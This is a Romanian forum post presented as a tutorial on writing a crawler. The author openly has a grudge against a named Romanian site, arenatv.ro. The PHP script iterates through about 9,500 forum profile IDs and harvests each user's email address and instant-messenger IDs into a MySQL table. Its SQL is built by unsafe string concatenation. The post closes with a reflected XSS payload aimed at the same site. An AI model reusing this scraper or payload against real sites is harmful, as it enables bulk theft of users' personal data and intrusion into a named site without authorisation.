Jump to content
moubik

cum sa scrii un crawler

Recommended Posts

am o mica rafuiala cu arenatv.ro

si m-am gandit hai sa vedem ce pot sa aflu despre site-ul lor, despre server, despre orice.

si o sa va prezint doar cum sa substrageti informatiile despre userii lor, deci practic cum sa scrieti un crawler.

am pornit pe forum si m-am uitat la un user. vad acolo ca linkul este de forma:

http://www.arenatv.ro/forum/profile.php?mode=viewprofile&u=9497

deci daca as putea sa fac un program care sa mearga de la primul pana la ultimul user as putea sa extrag toate informatiile de acolo.

prima oara trebuie sa fac program de test si blablabla, deci:

completez la profilul meu tot ce se poate completa ca sa fac testele pe aceasta pagina.

iau pagina local cu wget

din command line:

wget "http://www.arenatv.ro/forum/profile.php?mode=viewprofile&u=9497"

redenumesc fisierul pe care mi l-a downloadat in "profile"

si ma apuc sa scriu expresiile regulate.

iese acest program:

<?

$page = file_get_contents("profile");

$founduser = preg_match("/Viewing profile :: (.*?)<\/b><\/th>/", $page, $user);
$foundmail = preg_match("/href=\"mailto:(.*?)\"><img src=\"templates\/AdInfinitum\/images\/lang_english\/icon_email.gif\"/", $page, $mail);
$foundyahooid = preg_match("/\"http:\/\/edit\.yahoo\.com\/config\/send_webmesg\?\.target=(.*?)&\.src=pg\"/", $page, $yahooid);
$foundaimid = preg_match("/aim:goim\?screenname=(.*?)&message=Hello\+Are\+you\+there/", $page, $aimid);
$foundicqid = preg_match("/http:\/\/wwp\.icq\.com\/scripts\/search\.dll\?to=(.*?)\"><img src=\"templates\/AdInfinitum\/images\/lang_english\/icon_icq_add\.gif\"/", $page, $icqid);

if ($founduser) echo "user=".$user[1] ."\n";
if ($foundmail) echo "mail=".$mail[1] ."\n";
if ($foundyahooid) echo "yahooid=".$yahooid[1] ."\n";
if ($foundaimid) echo "aimid=".$aimid[1] ."\n";
if ($foundicqid) echo "icqid=".$icqid[1] ."\n";

?>

ca sa scrii expresiile regulate pur si simplu te uiti in sursa paginii si selectezi o bucata de text ce cuprinde informatia pe care vrei sa o extragi.

acum daca stii putin expresii regulate stii ca unele caractere au semnificatii speciale. ceea ce inseamna ca trebuie sa le "escape", deci sa punem un "\"

nu pot sa intru in amanunt pentru ca sunt destul de complexe expresiile regulate, sa treceti si prin tutorialul lui vladiii de aici

bun, vedem ca programelul php merge like a lucky charm.

mai departe facem mici modificari pentru a salva toate aceste informatii intr-o baza de date :)

prima oara creem baza de date, sa zicem arenatv.

si o tabela de aceasta structura:

user <- primary si unic, string

mail <- string

yahooid <- string

aimid <- string

icqid <- string

sql-ul pentru crearea tabelei poate sa fie de forma:

CREATE TABLE IF NOT EXISTS `users` (
`user` varchar(30) NOT NULL,
`mail` varchar(30) NOT NULL,
`yahooid` varchar(30) NOT NULL,
`aimid` varchar(30) NOT NULL,
`icqid` varchar(30) NOT NULL,
PRIMARY KEY (`user`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

am creat baza de date, am creat tabela, avem si programelul care introduce in baza de date:

<?
//link-ul fara numarul unic al fiecarui user
$baselink = "http://www.arenatv.ro/forum/profile.php?mode=viewprofile&u=";

//de la ce user pana la ce user sa faca extragerea informatiilor
$min = 0;
$max = 9500;

//ne conectam la baza de date
mysql_connect("localhost", "user", "parola");
mysql_select_db("arenatv");

//inceputul query-ului de insert
$queryInsertInfo = "INSERT INTO users VALUES (";

for($i = $min ; $i <= $max ; $i++ )
{
//putem sa tragem o pagina de pe net chiar cu aceasta functie
//am facut append la $baselink cu id-ul userului la care suntem
$page = file_get_contents($baselink . $i);


$founduser = preg_match("/Viewing profile :: (.*?)<\/b><\/th>/", $page, $user);
$foundmail = preg_match("/href=\"mailto:(.*)\"><img src=\"templates\/AdInfinitum\/images\/lang_english\/icon_email.gif\"/", $page, $mail);
$foundyahooid = preg_match("/\"http:\/\/edit\.yahoo\.com\/config\/send_webmesg\?\.target=(.*?)&\.src=pg\"/", $page, $yahooid);
$foundaimid = preg_match("/aim:goim\?screenname=(.*?)&message=Hello\+Are\+you\+there/", $page, $aimid);
$foundicqid = preg_match("/http:\/\/wwp\.icq\.com\/scripts\/search\.dll\?to=(.*?)\"><img src=\"templates\/AdInfinitum\/images\/lang_english\/icon_icq_add\.gif\"/", $page, $icqid);

//introducem informatiile in stringul de query
$tempQuery = $queryInsertInfo;
if ($founduser)
{
$tempQuery .= "'". $user[1] ."',";
}
else $tempQuery .= "'',";

if ($foundmail)
{
$tempQuery .= "'". $mail[1] ."',";
}
else $tempQuery .= "'',";

if ($foundyahooid)
{
$tempQuery .= "'". $yahooid[1] ."',";
}
else $tempQuery .= "'',";

if ($foundaimid)
{
$tempQuery .= "'". $aimid[1] ."',";
}
else $tempQuery .= "'',";

if ($foundicqid)
{
$tempQuery .= "'". $icqid[1] ."'";
}
else $tempQuery .= "''";
$tempQuery .= ");";
//inchidem query-ul

//afisam pe ecran la ce user suntem si cum arata query-ul
echo "id=$i\n";
echo $tempQuery ."\n\n";
mysql_query($tempQuery);
}
?>

daca sunt useri care au fost stersi acestia nu se vor adauga de 2 ori pentru ca coloana "user" din tabela mysql este primara si astfel unica si nu se vor adauga cate o linie pentru fiecare user care nu exista.

stam si ne uitam pe ecran cum sunt stranse informatiile despre fiecare user :)

daca vreti pot sa va spun toata analiza site-ului pe care am facut-o.

ahh.. apropo


http://www.arenatv.ro/index.php/"><script>alert(1);</script>

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...